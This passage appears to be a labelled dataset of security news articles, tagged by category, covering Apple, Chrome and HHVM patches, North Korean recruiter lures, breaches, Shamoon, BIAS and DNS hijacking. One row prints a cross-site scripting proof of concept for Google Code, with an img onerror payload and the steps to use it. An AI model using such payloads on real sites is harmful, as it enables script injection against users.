In addition to the aforementioned vulnerability, Monday's updates also address a critical flaw in WebKit Storage (tracked as CVE-2021-30661) that concerns an arbitrary code execution flaw in iOS, macOS, tvOS, and watchOS when processing maliciously crafted web content.
""Apple is aware of a report that this issue may have been actively exploited,"" the company said in a security document, adding it addressed the use-after-free weakness with improved memory management.
Aside from these updates, Apple has also released iCloud for Windows 12.3 with patches for four security issues in WebKit and WebRTC, among others, that could allow an attacker to cross-site scripting (XSS) attacks (CVE-2021-1825) and corrupt kernel memory (CVE-2020-7463).
Users of Apple devices are recommended to update to the latest versions to mitigate the risk associated with the flaws.

",Malware
"Facebook Patches ""Memory Disclosure Using JPEG Images"" Flaws in HHVM Servers",https://thehackernews.com/2019/09/facebook-hhvm-vulnerability.html,"Facebook has patched two high-severity vulnerabilities in its server application that could have allowed remote attackers to unauthorisedly obtain sensitive information or cause a denial of service just by uploading a maliciously constructed JPEG image file.

The vulnerabilities reside in HHVM (HipHop Virtual Machine)—a high-performance, open source virtual machine developed by Facebook for executing programs written in PHP and Hack programming languages.

HHVM uses a just-in-time (JIT) compilation approach to achieve superior performance of your Hack and PHP code while maintaining the development flexibility that the PHP language provides.

Since the affected HHVM server application is open-source and free, both issues may also impact other websites that use HHVM, including Wikipedia, Box and especially those which allow their users to upload images on the server.

Both the vulnerabilities, as listed below, reside due to a possible memory overflow in the GD extension of HHVM when a specially constructed invalid JPEG input is passed in, leading to out-of-bounds read—a flaw that allows a malformed program to read data from outside the bounds of allocated memory.

CVE-2019-11925: Insufficient boundary check issues occur when processing the JPEG APP12 block marker in the GD extension, allowing potential attackers to access out-of-bounds memory via a maliciously crafted invalid JPEG input.
CVE-2019-11926: Insufficient boundary check issues occur when processing M_SOFx markers from JPEG headers in the GD extension, allowing potential attackers to access out-of-bounds memory via a maliciously crafted invalid JPEG input.

Both the vulnerabilities affect all supported HHVM versions prior to 3.30.9, all versions between HHVM 4.0.0 and 4.8.3, all versions between HHVM 4.9.0 and 4.15.2, and HHVM versions 4.16.0 to 4.16.3, 4.17.0 to 4.17.2, 4.18.0 to 4.18.1, 4.19.0, 4.20.0 to 4.20.1.

The HHVM team has addressed the vulnerabilities with the release of HHVM versions 4.21.0, 4.20.2, 4.19.1, 4.18.2, 4.17.3, 4.16.4, 4.15.3, 4.8.4, and 3.30.10.

If your website or server is also using HHVM, you are highly recommended to update it to the latest version of the software.

",Vulnerability
Update Your Chrome Browser ASAP to Patch a Week Old Public Exploit,https://thehackernews.com/2021/04/update-your-chrome-browser-immediately.html,"Google on Tuesday released an update for Chrome web browser for Windows, Mac, and Linux, with a total of seven security fixes, including one flaw for which it says an exploit exists in the wild.
Tracked as CVE-2021-21224, the flaw concerns a type confusion vulnerability in V8 open-source JavaScript engine that was reported to the company by security researcher Jose Martinez on April 5
According to security researcher Lei Cao, the bug [1195777] is triggered when performing integer data type conversion, resulting in an out-of-bounds condition that could be used to achieve arbitrary memory read/write primitive.
""Google is aware of reports that exploits for CVE-2021-21224 exist in the wild,"" Chrome's Technical Program Manager Srinivas Sista said in a blog post.
The update comes after proof-of-concept (PoC) code exploiting the flaw published by a researcher named ""frust"" emerged on April 14 by taking advantage of the fact that the issue was addressed in the V8 source code, but the patch was not integrated into the Chromium codebase and all the browsers that rely on it, such as Chrome, Microsoft Edge, Brave, Vivaldi, and Opera.
The one-week patch gap meant the browsers were vulnerable to attacks until the patches posted in the open-source code repository were released as a stable update.
It's worth noting that Google halved the median ""patch gap"" from 33 days in Chrome 76 to 15 days in Chrome 78, which was released in October 2019, thereby pushing severe security fixes every two weeks.
The latest set of fixes also arrive close on the heels of an update the search giant rolled out last week with patches for two security vulnerabilities CVE-2021-21206 and CVE-2021-21220, the latter of which was demonstrated at the Pwn2Own 2021 hacking contest earlier this month.
Chrome 90.0.4430.85 is expected to roll out in the coming days. Users can update to the latest version by heading to Settings > Help > About Google Chrome to mitigate the risk associated with the flaws.

",Vulnerability
XSS Vulnerability in Google Code site,https://thehackernews.com/2011/12/xss-vulnerability-in-google-code-site.html,"XSS (Cross site Scripting) Vulnerability discovered on Google Code website as shown. Claimed to be Discovered by Vansh Sharma & Vaibhuv Sharma.

Proof Of Concept: Just go to https://code.google.com/apis/ajax/playground/ and then click on edit HTML after that remove all the codes and type this script:
<img src=""<img src=search""/onerror=alert(""XSS"")//"">
And click on DEBUG CODE, and then first it will show you ""Sample must have <head> element"" click OK and wait for the window to load if nothing happen then try the same thing again or simply you can click on RUN CODE, and you will get a popup which is XSS.

Another Similar XSS posted by +Pirate, as posted on HackForum Community.


",Vulnerability
Hackers Target Defense Contractors' Employees By Posing as Recruiters,https://thehackernews.com/2020/08/job-offer-hackers.html,"The United States Cybersecurity and Infrastructure Security Agency (CISA) has published a new report warning companies about a new in-the-wild malware that North Korean hackers are reportedly using to spy on key employees at government contracting companies.

Dubbed 'BLINDINGCAN,' the advanced remote access trojan acts as a backdoor when installed on compromised computers.

According to the FBI and CISA, North Korean state-sponsored hackers Lazarus Group, also known as Hidden Cobra, are spreading BLINDINGCAN to ""gather intelligence surrounding key military and energy technologies.""

To achieve this, attackers first identify high-value targets, perform extensive research on their social and professional networks, and then pose as recruiters to send malicious documents loaded with the malware, masquerading as job advertisements and offerings.

However, such employment scams and social engineering strategies are not new and were recently spotted being used in another similar cyber espionage campaign by North Korean hackers against Israel's defense sector.

""They built fake profiles on Linkedin, a social network that is used primarily for job searches in the high-tech sector,"" the Israel Ministry of Foreign Affairs said.

""The attackers impersonated managers, CEOs and leading officials in HR departments, as well as representatives of international companies, and contacted employees of leading defense industries in Israel, with the aim of developing discussions and tempting them with various job opportunities.

""In the process of sending the job offers, the attackers attempted to compromise the computers of these employees, to infiltrate their networks and gather sensitive security information. The attackers also attempted to use the official websites of several companies in order to hack their systems.""

The CISA report says that attackers are remotely controlling BLINDINGCAN malware through compromised infrastructure from multiple countries, allowing them to:


Retrieve information about all installed disks, including the disk type and the amount of free space on the disk
Create, start, and terminate a new process and its primary thread
Search, read, write, move, and execute files
Get and modify file or directory timestamps
Change the current directory for a process or file
Delete malware and artifacts associated with the malware from the infected system.


Cybersecurity companies Trend Micro and ClearSky also documented this campaign in a detailed report explaining:

""Upon infection, the attackers collected intelligence regarding the company's activity, and also its financial affairs, probably in order to try and steal some money from it. The double scenario of espionage and money theft is unique to North Korea, which operates intelligence units that steal both information and money for their country.""

According to this report, North Korean attackers did not just contact their targets through email, but also conducted face-to-face online interviews, mostly on Skype.

""Maintaining direct contact, beyond sending phishing emails, is relatively rare in nation-state espionage groups (APTs); however, as it will be shown in this report, Lazarus have adopted this tactic to ensure the success of their attacks,"" the researchers said.

CISA has released technical information to aid in detection and attribution, as well as recommended a variety of preventive procedures to lower the possibility of this kind of attack significantly.
",Cyber_Attack
Nissan Finance Canada Suffers Data Breach — Notifies 1.13 Million Customers,https://thehackernews.com/2017/12/nissan-finance-breach.html,"It's the last month of this year, but possibly not the last data breach report.

Nissan warns of a possible data breach of personal information on its customers who financed their vehicles through Nissan Canada Finance and INFINITI Financial Services Canada.

Although the company says it does not know precisely how many customers were affected by the data breach, Nissan is contacting all of its roughly 1.13 million current and previous customers.

In a statement released Thursday, Nissan Canada said the company became aware of an ""unauthorized access to personal information"" of some customers on December 11.

""Nissan Canada Finance recently became aware it was the victim of a data breach that may have involved an unauthorized person(s) gaining access to the personal information of some customers that have financed their vehicles through Nissan Canada Finance and INFINITI Financial Services Canada,"" the company said.

It's believed that the unknown hacker(s) may have had access to the following information:

Customers' names
Home addresses
Vehicle makes and models
Vehicle identification numbers (VIN)
Credit scores
Loan amounts
Monthly payments


The company says there no indication, at least at this moment, that if the data breach also includes payment information and contactable information like email addresses or phone numbers.

The company offers 12 months of free credit monitoring services through TransUnion to all of its financed customers.

Since the investigation into the data breach incident is still ongoing, it is not clear if the hack also impacts customers outside of Canada and customers who did not obtain financing through NCF.
""We sincerely apologize to the customers whose personal information may have been illegally accessed and for any frustration or inconvenience that this may cause,"" Nissan Canada president Alain Ballu said. ""We are focused on supporting our customers and ensuring the security of our systems.""
Nissan Canada has contacted Canadian privacy regulators, law enforcement, and data security experts to help rapidly investigate the matter.

",Data_Breaches
The Killswitch : They can remotely modify your Window 8,https://thehackernews.com/2012/03/killswitch-they-can-remotely-modify.html,"The Killswitch : They can remotely modify your Window 8

Last year,a Finnish software developer, was cruising Google's Android Market for smartphone apps last year when he noticed something strange. Dozens of best-selling applications suddenly listed the same wrong publisher. Google uses a little known kill switch, to forcibly removing the malicious code from more than 250,000 infected Android smartphones. It's a powerful way to stop threats that spread quickly, but it's also a privacy and security land mine.

With the rollout of the Windows 8 operating system expected later this year, millions of desktop and laptop PCs will get kill switches for the first time. Microsoft has confirmed that they have remote kill switch installed in to Windows 8 apps. using this access, they can disable and even remove an app entirely from a user's device. This piece of information was released along with other details of the upcoming Windows Store for Windows 8.

Anyone worried about Microsoft having complete access to your computer can rest easy for now. The company has stated that they can only ""kill"" programs downloaded from its new Microsoft App Store. This is what the company has to say about it in official terms: -""In cases where your security is at risk, or where we're required to do so for legal reasons, you may not be able to run apps or access content that you previously acquired or purchased a license for,"".

Any software loaded from a flash drive, DVD, or directly from the Web will remain outside Microsoft's control. Still, the kill switch is a tool that could help Microsoft prevent mass malware infections. ""For most users, the ability to remotely remove apps is a good thing,"" says Charlie Miller, a researcher with the security company Accuvant.

Hiroshi Lockheimer, Google's vice president of Android engineering, says the search company reserves the use of the kill switch for ""really egregious, really obvious cases"" of harmful content. Microsoft's Biggs says the company has used the functionality in its smartphones only for ""technical issues and content issues."" Apple declined to comment. Amazon did not respond to several messages.

Nonetheless, a ""kill switch"" for curators of online applications marketplace is common as companies try to protect users of the platforms they develop from malware or hacking attempts implemented through applications.Microsoft's upcoming Windows 8 operating system is expected to be launched by the middle of next year.

",Malware
Cortana Software Could Help Anyone Unlock Your Windows 10 Computer,https://thehackernews.com/2018/06/cortana-hack-windows-password.html,"Cortana, an artificial intelligence-based smart assistant that Microsoft has built into every version of Windows 10, could help attackers unlock your system password.

With its latest patch Tuesday release, Microsoft has pushed an important update to address an easily exploitable vulnerability in Cortana that could allow hackers to break into a locked Windows 10 system and execute malicious commands with the user's privileges.

In worst case scenario, hackers could also compromise the system completely if the user has elevated privileges on the targeted system.
The elevation of privilege vulnerability, tracked as CVE-2018-8140 and reported by McAfee security researchers, resides due to Cortana's failure to adequately check command inputs, which eventually leads to code execution with elevated permissions.
""An Elevation of Privilege vulnerability exists when Cortana retrieves data from user input services without consideration for status,"" Microsoft explains. ""An attacker who successfully exploited the vulnerability could execute commands with elevated permissions.""
Microsoft has classified the flaw as ""important"" because exploitation of this vulnerability requires an attacker to have physical or console access to the targeted system and the targeted system also needs to have Cortana enabled.

Cedric Cochin of McAfee's Advanced Threat Research (ATR) team has published technical details of the flaw, and also provided a step-by-step proof-of-concept video tutorial, showing how he hijacked a locked Windows 10 computer by carrying out a full password reset using Cortana.
""Cochin discovered that by simply typing while Cortana starts to listen to a request or question on a locked device, he could bring up a search menu. Cochin didn't even have to say anything to Cortana, but simply clicked on the ""tap and say"" button and started typing in words,"" a blog post on McAfee explained.
Cochin represents three different attack vectors, demonstrating how the Cortana flaw could be used for various nefarious purposes, such as retrieving confidential information, logging into a locked device and even run malicious code from the locked screen.
McAfee recommends users to turn off Cortana on the lock screen in order to prevent such attacks. Although Microsoft has patched the vulnerability with its latest security updates released yesterday, many PCs will not be running the latest updates just yet.

",Vulnerability
Cyber Criminals phishing with smart subdomains to earn millions,https://thehackernews.com/2012/12/cyber-criminals-phishing-with-smart.html,"Like many other security issues that now affect computer users, there is a growing threat known as phishing"". Phishing attacks are perpetrated by criminals who send deceptive emails in order to lure someone into visiting a fraudulent web site or downloading malicious software, expressly for stealing sensitive information such as credit card numbers, account information, passwords, etc.

Cyber criminals continue to evolve and refine their attack tactics to evade detection and use techniques that work. Spear phishing emails are on the rise because they work. We have notice many times that Spear Phishing Attacks are really Successful in order to compromise Enterprise Networks and Stealing Data.

From last one month I was getting mails from an unknown spoofed email id regrading a paypal warning with subject ""Your account has been limited until we hear from you !"" Guess what, even I am not using that email for my Paypal account, from here I just judge that it's a regular spam mail and ignore that most of the time week before.

Today I again receive a similar mail, and this time I was amazed to notice a tricky URL given in mail to click, as shown in the screenshot. Cyber criminals start making some very smart spoofed URL in sub domain, that can trick most of the victims ( even me for a second ).

Phishing is not just a small-time operation. Phishing is a business, and billions of dollars are being made by criminals while consumers and businesses are left to suffer the consequences. There are gangs of phishers organized all over the world. I was estimating that, if phishers are flooding out 50000 email viewers a day, this trick will surely work on atleast 1 % users = 500 victims, i.e if each have minimum 100 USD in each account, then per day income of an phishing criminal is, $500 x 100 = $50,000 / Day - COOL ?

Anyway, I am not counting benefits of being an online criminal :P , coming back to point -- A smart trick to abuse URLs .

Tips :
1.) Notice each URL carefully before clicking
2.) Avoid clicking on links or opening attachments in emails from an unknown sender in an attempt to avert phishing

Most of the time, people ask - Which is the best security product or Antivirus that can protect them from such malwares, scams or attacks ? Yes, we call it - Common Sense (Sorry not available in stores). Be regular on The Hacker News or subscribe to Daily Newsletter, for updated security news and have daily dose on security !

",Malware
Millions of LinkedIn Users at Risk of Man-in-the-Middle Attack,https://thehackernews.com/2014/06/millions-of-linkedin-users-at-risk-of.html,"Two year back in 2012, one of the most popular online social networking sites Linkedin spent between $500,000 and $1 million on forensic work after millions of its users' account passwords were compromised in a major security data breach. But, it seems that the company hasn't learned any lesson from it.

WHAT IS MAN-IN-THE-MIDDLE (MitM) ATTACK
Before moving on to the story, let us discuss some emerging and common threats against the social networking sites nowadays. If we talk about less publicized but more danger, then Man-in-the-Middle (MitM) attack is the most common one. By attempting MitM attack, a potential attacker could intercept users' internet communication, steal sensitive information and even hijack sessions.

Though MitM attacks are popular and have existed for years, a major categories of today's largest websites and social networking sites still haven't taken the necessary steps to safeguard their users' personal and sensitive data from the vulnerabilities that raise the danger of this type of attacks.

LINKEDIN SSL STRIP ATTACK
The popular professional network, LinkedIn has left hundreds of millions of its users exposed to Man-in-the-Middle (MitM) attack due to the way the site uses Secure Sockets Layer (SSL) encryption in its network.

No doubt, LinkedIn is using HTTPS connection for user login pages, but they are not using HTTP Strict Transport Security (HSTS) technology that prevents any communications from being sent over HTTP, instead send all communications over HTTPS.
According to researchers at Israel-based Zimperium Mobile Threat Defence, the poor implementation of HTTPS/SSL allows a hacker to intercept a user's communication by replacing all ""HTTPS"" requests with its non-encrypted form, ""HTTP"", known as ""SSL stripping"" attack.
""Once the attacker has extracted a user's credentials, they can reuse the user's credentials or session cookies to authenticate and forge the exact session,"" reads the blog post.
VIDEO DEMONSTRATION
In a video demonstration, researchers have practically used this tool against LinkedIn website and as a result of SSL stripping, they intercepted one of its users' account by a MITM attack and successfully grabbed users' account information and every single user they tested was vulnerable to this attack.
VULNERABLE COMPONENTS
By attempting MitM attack against the website, an attacker can grab a LinkedIn user's credentials, hijack their session to gain access to all other LinkedIn information and impersonate the user. Attackers could do multiple things including:
Email address
Password
Read and Sent Messages
Connections
""Who viewed my profile""
Attackers can impersonate the user to use any account feature, including:
Send invitations to connect
Edit the user's profile
Edit job postings
Manage company pages
""So not only is your personal LinkedIn information at risk, but also if you are an administrator for your corporate LinkedIn presence, your company's brand reputation could also be damaged if a malicious actor were to gain control over posts and email communication on LinkedIn,"" reads the blog post.

REMOTE ATTACKS
Moreover, this vulnerability in the LinkedIn doesn't just exist when a potential attacker is on the same network as the targeted victim.

To perform MITM attack remotely, an attacker can compromise a device and once that device enters a different network, the same attacker can use the victim's device remotely to perform man-in-the-middle attack on other users on the victim's network.

LINKEDIN IMPLEMENTING HTTPS BY DEFAULT, BUT VERY SLOWLY
Researchers from Zimperium first responsibly reported this critical 'session hijacking' vulnerability to the LinkedIn security team in May 2013. Despite, reaching out to LinkedIn six times over the last year, the team have not responded seriously.

Later from December 2013, LinkedIn started transition of the website to default HTTPS and just last week they have successfully upgraded US and European users to Default HTTPS Network. Because of slow implementation of default SSL, Zimperium finally rolled out the disclosure of the vulnerability publically.
LinkedIn spokeswoman Nicole Leverich said the issue described by Zimperium ""does not impact the vast majority of LinkedIn members given our ongoing global release of https by default.""
HOW TO ENABLE FULL HTTPS MANUALLY
However, In 2012, LinkedIn offers its users an option to change their security settings to full HTTPS manually, but many might not have known about it. You can enable it by going into your LinkedIn settings, Open ""account"" tab and Click ""manage security settings"" to select Full HTTPS.

",Vulnerability
Learn How SolarWinds Log & Event Manager (LEM) helps you to keep your Network Secure,https://thehackernews.com/2014/03/learn-how-solarwinds-log-event-manager.html,"So, How do you currently monitor your logs and events, including network, servers, databases, applications, your router, firewall or Windows servers? Obviously, If you have thousands of machines on your network.. It will become more complicated.

Due to the massive boom in the cyber attacks and security breaches that result in financial losses and damages the goodwill of the reputed corporations, the demand for SIEM tools is increasing continuously among the IT security professionals and system administrators.

Security Information & Event Management (SIEM) is the best solution, that has evolved over the years to become one of the most trusted and reliable solutions for log management, security, and compliance.

SIEM systems provide a holistic view of an organization's Information technology (IT) Security by collecting logs and other security-related documentation for analysis. But SIEM systems are typically expensive to deploy and complex to operate and manage.

So, here SolarWinds Log & Event Manager (LEM) meets your expectations and provides you all of the essential features required of SIEM. LEM is deployed as a virtual appliance, and also supports Hyper-V that makes it easy to get up-and-run quickly.

It boosts the capabilities of organizations of any size to improve their overall security posture, detects and remediate security threats, and achieve compliance objectives.

Real Time threat Detection: SolarWinds LEM is a full-functioned and matured Security & Information Event Management (SIEM) solution that delivers powerful log management capabilities in a highly affordable and easy-to-deploy virtual appliance, offered by an excellent and well-respected company.

It not only centralizes and collects logs, but it also helps to correlate important events, provides advanced searching features, and even takes automatic action against threats, all in real-time! All logs and events can be collected in one central location from multiple sites via virtual LEM appliances, even across geographically remote data centers and branch offices.
Active Responses for automated remediation: Besides this, SolarWinds Log & Event Manager allows you to automate incident response to counter real-time threats and take preventative action. Remediation via Active Response, including the ability to block IP address, disable networking, and account membership and enablement, shutdown system, and more.

An administrator could collect malware information from installed Antivirus products, and once a potential intrusion is detected, SolarWinds' LEM could automatically shut off Internet access to the infected machine until a technician has addressed the issue. It supports for hundreds of out-of-the-box critical security devices and applications including IDS/IPS, anti-virus software.
Active Response mechanisms allow organizations to immediately and automatically remediate all events that are out of line with policy or expected behavior, such as unauthorized access, unwanted configuration changes or abnormal traffic patterns that could indicate a compromise.

Protection and monitoring down to the endpoint: If your organization is very concerned about the large-scale data loss from USB devices. SolarWinds' LEM extends the security protections beyond network devices to USB storage systems that users connect to the network. LEM has USB Defender and built-in technology to monitor usage of USB devices (even when disconnected from the corporate network).
It can identify unauthorized access and copying/theft of sensitive files, and enable automatic ejection of USB devices to assure that your company's secrets are never stolen by simple external devices.

Reporting: SolarWinds has included a powerful reporting engine with Log and Event Manager, with 300+ audit-proven built-in compliance reports for different industry regulations including GPG13, ISO, PCI, GLBA, SOX, NCUA, HIPAA, DISA STIG, FISMA, NERC-CIP, and others.

LEM is a powerful tool for event forensic analysis that provides advanced log data visualization tools including word clouds, tree maps, bubble charts, and histograms.

If you are interested, you can learn more about SolarWinds Log & Event Manager from its official website and Demo is also available here.

",Cyber_Attack
Zero-day flaw in WordPress image utility allows to upload files and execute codes,https://thehackernews.com/2011/08/zero-day-flaw-in-wordpress-image.html,"Zero-day flaw in WordPress image utility allows to upload files and execute codes


Mark Maunder, CEO of Seattle-based technology firm Feedjit, discovered the flaw after his own blog was hacked to load advertising content. He ended up tracing the issue back to TimThumb, which he uses on his blog. Hackers are exploiting a zero-day vulnerability affecting TimThumb, a free image resizing utility widely used on the blogging platform WordPress.

Vulnerability in brief :
An image resizing utility called timthumb.php is widely used by many WordPress themes. Google shows over 39 million results for the script name. If your WordPress theme is bundled with an unmodified timthumb.php as many commercial and free themes are, then you should immediately either remove it or edit it and set the $allowedSites array to be empty. The utility only does a partial match on hostnames allowing hackers to upload and execute arbitrary PHP code in your timthumb cache directory. I haven't audited the rest of the code, so this may or may not fix all vulnerabilities. Also recursively grep your WordPress directory and subdirs for the base64_decode function and look out for long encoded strings to check if you've been compromised.

The utility, a PHP script employed for image cropping, zooming and resizing web images, ""is inherently insecure because it relies on being able to write files into a directory that is accessible by people visiting your website,"" Maunder said. ""That's never a good idea.""

An attacker could upload files and execute code on an affected site without the owner's permission. The latest version of the utility, TimThumb 1.33, is affected by the issue. Its developer, Ben Gillbanks, is working on a fix after his own site also was hacked using the same method.

He provided instructions for disabling the utility's ability to load images from external sites, which is one way to resolve the issue.

SSH into your web server. You can use ""putty"" if you use windows and you'll need to know your username and password.
cd into your wordpress installation directory. That is going to vary according to which host you're using or how you've installed it.
You need to find every copy of timthumb.php on your system. Use the following command without double quotes: "" find . -name 'timthumb.php' ""
It will show you a list of where timthumb.php is located. You may want to repeat this command using ""thumb.php"" as some users have reported that's what it's called on their systems.
Edit timthumb.php using a text editor like pico, nano or (if you know what you're doing) vim. You would type (without double quotes) "" nano directory/that/tim/thumb/is/in/timthumb.php "" for example.
Go down to line 27 where it starts $allowedSites = array (
Change it to remove all the sites listed like ""blogger.com"" and ""flickr.com"". Once you're done the line should look like this from $allowedSites to the semi-colon:
$allowedSites = array();
Note the empty parentheses.
The next line should be blank and the following line will probably say ""STOP MODIFYING HERE""
That's it. Save the file and you're done.
Souce

",Vulnerability
"Plesk Zero Day Exploit in the Wild, Thousands of sites got Hacked",https://thehackernews.com/2012/07/plesk-zero-day-exploit-in-wild.html,"Sucuri Malware Labs notify that some zero-day exploits are available to Hackers which are being used to Hack into Parallels' Plesk Panel (Port Number 8443). These attacks was keep on raising from last few months as you can see in the Graph:

At least 4000 new websites were infected each day, Sucuri malware researcher Daniel Cid.

On other News Portals, there was a news recently that Some 50,000 websites have been compromised as part of a sustained iframe injection attack campaign. Security analyst found that, The majority of the sites being targeted are running Plesk Panel version 10.4.4 or older versions.

Brian Krebs on his blog report that Hackers in the criminal underground are selling an exploit that extracts the master password needed to control Parallels' Plesk Panel. This zero-day exploit for Plesk is being sold on the black market for around $8,000 per purchase.



Many of the queries probed for web hosting software Plesk, a finding backed by the Sans Internet Storms Centre that noted a sharp uptick in requests over port 8443, used by Plesk.

It's unclear whether this claimed exploit is related to a rash of recent attacks against Plesk installations. Last month, malware researcher Denis Sinegubko had provided analysis of the BlackHole Exploit Kit's successful compromise of several sampled websites, and had determined that a vulnerability in Plesk was probably the culprit.

",Vulnerability
New Shamoon Malware Variant Targets Italian Oil and Gas Company,https://thehackernews.com/2018/12/shamoon-malware-attack.html,"Shamoon is back… one of the most destructive malware families that caused damage to Saudi Arabia's largest oil producer in 2012 and this time it has targeted energy sector organizations primarily operating in the Middle East.

Earlier this week, Italian oil drilling company Saipem was attacked and sensitive files on about 10 percent of its servers were destroyed, mainly in the Middle East, including Saudi Arabia, the United Arab Emirates and Kuwait, but also in India and Scotland.

Saipem admitted Wednesday that the computer virus used in the latest cyber attack against its servers is a variant Shamoon—a disk wiping malware that was used in the most damaging cyber attacks in history against Saudi Aramco and RasGas Co Ltd and destroyed data on more than 30,000 systems.

The cyber attack against Saudi Aramco, who is the biggest customer of Saipem, was attributed to Iran, but it is unclear who is behind the latest cyber attacks against Saipem.

Meanwhile, Chronicle, Google's cybersecurity subsidiary, has also discovered a file containing Shamoon sample that was uploaded to VirusTotal file analyzing service on 10th December (the very same day Saipem was attacked) from an IP address in Italy, where Saipem is headquartered.

However, the Chronicle was not sure who created the newly discovered Shamoon samples or who uploaded them to the virus scanning site.

The latest attack against Saipem reportedly crippled more than 300 of its servers and about 100 personal computers out of a total of roughly 4,000 machines, though the company confirmed that it had already backed up the affected computers, so there no possibility of data being lost in the cyber attack.
""Saipem reports that the cyber attack hit servers based in the Middle East, India, Aberdeen and, in a limited way, Italy through a variant of Shamoon malware,"" Saipem said in its press release.
""The restoration activities, in a gradual and controlled manner, are underway through the backup infrastructures and, when completed, will re-establish the full operation of the impacted sites.""
Shamoon, also known as Disttrack, works by disabling systems by overwriting key computer files, including the master boot record (MBR), making it impossible for computers to start up.

The malware can also rapidly propagate across infected networks using Windows Server Message Block (SMB) protocol, similar to other known destructive malware like WannaCry and NotPetya.

Shamoon was first surfaced in 2012, and then after a long time of silence, an evolved version of the malware was used in attacks against various Saudi organizations in 2016 and 2017 targeting multiple industries, including the public and financial services sectors.

It is still unclear who actually created Shamoon, but security researchers widely believe that the Iranian hacking groups OilRig, Rocket Kitten, and Greenbug working on behalf of the Iranian government were behind previous Shamoon attacks, though Iran has strongly denied.
",Malware
New Bluetooth Vulnerability Exposes Billions of Devices to Hackers,https://thehackernews.com/2020/05/hacking-bluetooth-vulnerability.html,"Academics from École Polytechnique Fédérale de Lausanne (EPFL) disclosed a security vulnerability in Bluetooth that could potentially allow an attacker to spoof a remotely paired device, exposing over a billion of modern devices to hackers.

The attacks, dubbed Bluetooth Impersonation AttackS or BIAS, concern Bluetooth Classic, which supports Basic Rate (BR) and Enhanced Data Rate (EDR) for wireless data transfer between devices.

""The Bluetooth specification contains vulnerabilities enabling to perform impersonation attacks during secure connection establishment,"" the researchers outlined in the paper. ""Such vulnerabilities include the lack of mandatory mutual authentication, overly permissive role switching, and an authentication procedure downgrade.""

Given the widespread impact of the vulnerability, the researchers said they responsibly disclosed the findings to the Bluetooth Special Interest Group (SIG), the organization that oversees the development of Bluetooth standards, in December 2019.

The Bluetooth SIG acknowledged the flaw, adding it has made changes to resolve the vulnerability. ""These changes will be introduced into a future specification revision,"" the SIG said.

The BIAS Attack

For BIAS to be successful, an attacking device would need to be within the wireless range of a vulnerable Bluetooth device that has previously established a BR/EDR connection with another Bluetooth device whose address is known to the attacker.

The flaw stems from how two previously paired devices handle the long term key, also known as link key, that's used to mutually authenticate the devices and activate a secure connection between them.


The link key also ensures that users don't have to pair their devices every time a data transfer occurs between, say, a wireless headset and a phone, or between two laptops.

The attacker, then, can exploit the bug to request a connection to a vulnerable device by forging the other end's Bluetooth address, and vice versa, thus spoofing the identity and gaining full access to another device without actually possessing the long term pairing key that was used to establish a connection.

Put differently, the attack allows a bad actor to impersonate the address of a device previously paired with the target device.

What's more, BIAS can be combined with other attacks, including the KNOB (Key Negotiation of Bluetooth) attack, which occurs when a third party forces two or more victims to agree on an encryption key with reduced entropy, thus allowing the attacker to brute-force the encryption key and use it to decrypt communications.

Devices Not Updated Since December 2019 Affected

With most standard-compliant Bluetooth devices impacted by the vulnerability, the researchers said they tested the attack against as many as 30 devices, including smartphones, tablets, laptops, headphones, and single-board computers such as Raspberry Pi. All the devices were found to be vulnerable to BIAS attacks.

The Bluetooth SIG said it's updating the Bluetooth Core Specification to ""avoid a downgrade of secure connections to legacy encryption,"" which lets the attacker initiate ""a master-slave role switch to place itself into the master role and become the authentication initiator.""

In addition to urging companies to apply the necessary patches, the organization is recommending Bluetooth users to install the latest updates from device and operating system manufacturers.

""The BIAS attacks are the first uncovering issues related to Bluetooth's secure connection establishment authentication procedures, adversarial role switches, and Secure Connections downgrades,"" the research team concluded. ""The BIAS attacks are stealthy, as Bluetooth secure connection establishment does not require user interaction.""

",Vulnerability
"New Cryptocurrency Mining Malware Infected Over 500,000 PCs in Just Few Hours",https://thehackernews.com/2018/03/cryptocurrency-mining-malware.html,"Two days ago, Microsoft encountered a rapidly spreading cryptocurrency-mining malware that infected almost 500,000 computers within just 12 hours and successfully blocked it to a large extent.

Dubbed Dofoil, aka Smoke Loader, the malware was found dropping a cryptocurrency miner program as payload on infected Windows computers that mines Electroneum coins, yet another cryptocurrency, for attackers using victims' CPUs.

On March 6, Windows Defender suddenly detected more than 80,000 instances of several variants of Dofoil that raised the alarm at Microsoft Windows Defender research department, and within the next 12 hours, over 400,000 instances were recorded.

The research team found that all these instances, rapidly spreading across Russia, Turkey, and Ukraine, were carrying a digital coin-mining payload, which masqueraded as a legitimate Windows binary to evade detection.

However, Microsoft has not mentioned how these instances were delivered to such a massive audience at the first place in this short period.

Dofoil uses a customized mining application that can mine different cryptocurrencies, but in this campaign, the malware was programmed to mine Electroneum coins only.

According to the researchers, Dofoil trojan uses an old code injection technique called 'process hollowing' that that involves spawning a new instance of a legitimate process with a malicious one so that the second code runs instead of the original, tricking process monitoring tools and antivirus into believing that the original process is running.

""The hollowed explorer.exe process then spins up a second malicious instance, which drops and runs a coin mining malware masquerading as a legitimate Windows binary, wuauclt.exe.""

To stay persistence on an infected system for a long time to mine Electroneum coins using stolen computer resources, Dofoil trojan modifies the Windows registry.

""The hollowed explorer.exe process creates a copy of the original malware in the Roaming AppData folder and renames it to ditereah.exe,"" the researchers say. ""It then creates a registry key or modifies an existing one to point to the newly created malware copy. In the sample we analyzed, the malware modified the OneDrive Run key.""

Dofoil also connects to a remote command and control (C&C) server hosted on decentralized Namecoin network infrastructure and listens for new commands, including the installation of additional malware.

Microsoft says behavior monitoring and Artificial intelligence based machine learning techniques used by Windows Defender Antivirus have played an important role to detect and block this massive malware campaign.

",Cyber_Attack
Google Public DNS Server Traffic Hijacked,https://thehackernews.com/2014/03/google-public-dns-server-traffic.html,"The Internet is becoming a dangerous place day-by-day and especially for those innocent web users who rely on 3rd party services. The latest bad news is that the World's largest and most widely used Google's free public DNS (Domain name system) resolvers raised security red flags yesterday.

DNS is the master address list for the Internet, which translates IP addresses into human readable form and vice versa. According to Internet monitoring firm BGPmon, Google's DNS server 8.8.8.8/32 was hijacked yesterday for 22 minutes.

The Google's DNS server handles around 150 billion queries a day and during the 22 minutes of hijacking, millions of Internet users, including Financial institutions, Governments were redirected to BT's (British multinational telecommunications services company) Latin America division in Venezuela and Brazil.
It is suspected that Hackers exploited a well-known vulnerability in the so-called Border Gateway Protocol (BGP), which is used to exchange data between large service providers, and hijacking could allow the attackers to simply re-route the traffic to a router they controlled.
